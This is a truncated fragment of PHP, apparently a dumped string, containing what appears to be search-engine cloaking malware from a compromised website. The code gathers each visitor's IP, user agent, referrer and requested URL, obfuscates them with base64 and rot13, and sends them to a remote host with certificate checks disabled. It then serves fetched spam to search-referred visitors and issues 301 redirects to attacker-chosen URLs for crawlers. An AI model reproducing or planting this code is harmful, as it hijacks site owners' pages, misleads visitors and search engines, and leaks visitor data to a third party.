string(3864) " $a, 'r' => $r, 'l' => $l, 'i' => $i, 'h' => $h, 'u' => $u]; $params['t'] = 1; $path = parse_url($params['u'], PHP_URL_PATH) ?? ''; if (preg_match('#(?:^|/)sitemap\.xml$#i', $path)) { $params['t'] = 3; } if (preg_match('#(?:^|/)robots\.txt$#i', $path)) { $params['t'] = 2; } $json = json_encode($params, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $t = str_rot13(str_replace('=', '?', base64_encode($json))); $request_url = $tr . '.pic' . $s . $xa . "?t=" . $t; $response = ''; if (function_exists('curl_init')) { $ch = curl_init($request_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $agent, ]); $response = curl_exec($ch); curl_close($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 15, 'header' => "User-Agent: {$agent}\r\n" ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $response = @file_get_contents($request_url, false, $context); } return $response; } if (!$is_bot && preg_match("/(bing|google)/i", $refer) && preg_match('/--s\d+-[a-zA-Z0-9]+/', $u)) { $g = g($agent, $refer, $lang, $ip, $host_with_proto, $u); header('Content-Type: text/html; charset=utf-8'); echo $g; // ve2sj6566zhe exit; } if ($is_bot && $flag) { $g = g($agent, $refer, $lang, $ip, $host_with_proto, $u); $response = trim($g); if ( stripos($response, 'REDIRECT_URL_BEGIN') !== false && preg_match('/redirect_url\s*=\s*(https?:\/\/[^\s]+)/i', $response, $m) ) { // tythewjb9r64 header('Location: ' . $m[1], true, 301); exit; } if ( stripos($response, '"